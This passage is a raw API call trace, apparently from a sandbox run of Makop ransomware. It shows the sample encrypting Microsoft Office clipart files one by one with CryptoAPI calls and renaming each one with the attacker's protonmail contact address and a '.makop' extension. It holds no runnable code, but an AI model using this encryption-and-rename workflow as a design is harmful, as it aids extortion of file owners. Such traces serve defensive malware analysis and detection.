hTemplateFile=0x0) returned 0xf0 [0106.768] GetProcessHeap () returned 0x48a0000 [0106.768] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.768] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.768] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.774] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.774] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.774] GetProcessHeap () returned 0x48a0000 [0106.774] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.774] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.774] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.774] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.775] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.775] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.776] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.776] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.776] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x63c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x63c, lpOverlapped=0x0) returned 1 [0106.776] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640, dwBufLen=0x640 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x640) returned 1 [0106.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.776] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x640, lpOverlapped=0x0) returned 1 [0106.777] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.777] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.777] SetEndOfFile (hFile=0xf0) returned 1 [0106.784] GetProcessHeap () returned 0x48a0000 [0106.784] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.784] GetProcessHeap () returned 0x48a0000 [0106.784] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.784] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.784] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01044_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.785] CloseHandle (hObject=0xf0) returned 1 [0106.785] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0106.785] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0106.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.788] GetProcessHeap () returned 0x48a0000 [0106.788] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.788] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.788] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.788] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.788] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.788] GetProcessHeap () returned 0x48a0000 [0106.788] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.788] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.788] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.788] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.793] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.793] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.793] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.794] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.794] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f20, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f20, lpOverlapped=0x0) returned 1 [0106.795] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f20) returned 1 [0106.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f20, lpOverlapped=0x0) returned 1 [0106.796] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.796] SetEndOfFile (hFile=0xf0) returned 1 [0106.803] GetProcessHeap () returned 0x48a0000 [0106.803] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.803] GetProcessHeap () returned 0x48a0000 [0106.803] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.803] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.805] CloseHandle (hObject=0xf0) returned 1 [0106.805] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0106.805] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0106.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.806] GetProcessHeap () returned 0x48a0000 [0106.806] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.806] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.807] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.812] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.812] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.812] GetProcessHeap () returned 0x48a0000 [0106.812] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.812] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.812] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.812] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.813] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.813] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.813] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.813] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.814] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.814] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x728, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x728, lpOverlapped=0x0) returned 1 [0106.814] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x730, dwBufLen=0x730 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x730) returned 1 [0106.814] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.814] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x730, lpOverlapped=0x0) returned 1 [0106.814] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.815] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.815] SetEndOfFile (hFile=0xf0) returned 1 [0106.822] GetProcessHeap () returned 0x48a0000 [0106.822] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.822] GetProcessHeap () returned 0x48a0000 [0106.822] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.822] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.824] CloseHandle (hObject=0xf0) returned 1 [0106.824] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54406500, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54406500, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0106.824] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0106.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0106.826] GetProcessHeap () returned 0x48a0000 [0106.827] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0106.827] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0106.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0106.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.831] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.831] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.831] GetProcessHeap () returned 0x48a0000 [0106.831] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0106.831] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0106.831] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.831] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0106.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0106.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0106.832] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0106.832] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0106.832] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0106.832] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0106.833] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0106.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.833] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x66dc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x66dc, lpOverlapped=0x0) returned 1 [0106.835] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x66e0, dwBufLen=0x66e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x66e0) returned 1 [0106.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x66e0, lpOverlapped=0x0) returned 1 [0106.835] CryptDestroyKey (hKey=0x48c7128) returned 1 [0106.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x67b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.835] SetEndOfFile (hFile=0xf0) returned 1 [0106.842] GetProcessHeap () returned 0x48a0000 [0106.842] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0106.842] GetProcessHeap () returned 0x48a0000 [0106.842] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0106.842] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0106.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0106.844] CloseHandle (hObject=0xf0) returned 1 [0106.844] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x530f3800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x530f3800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 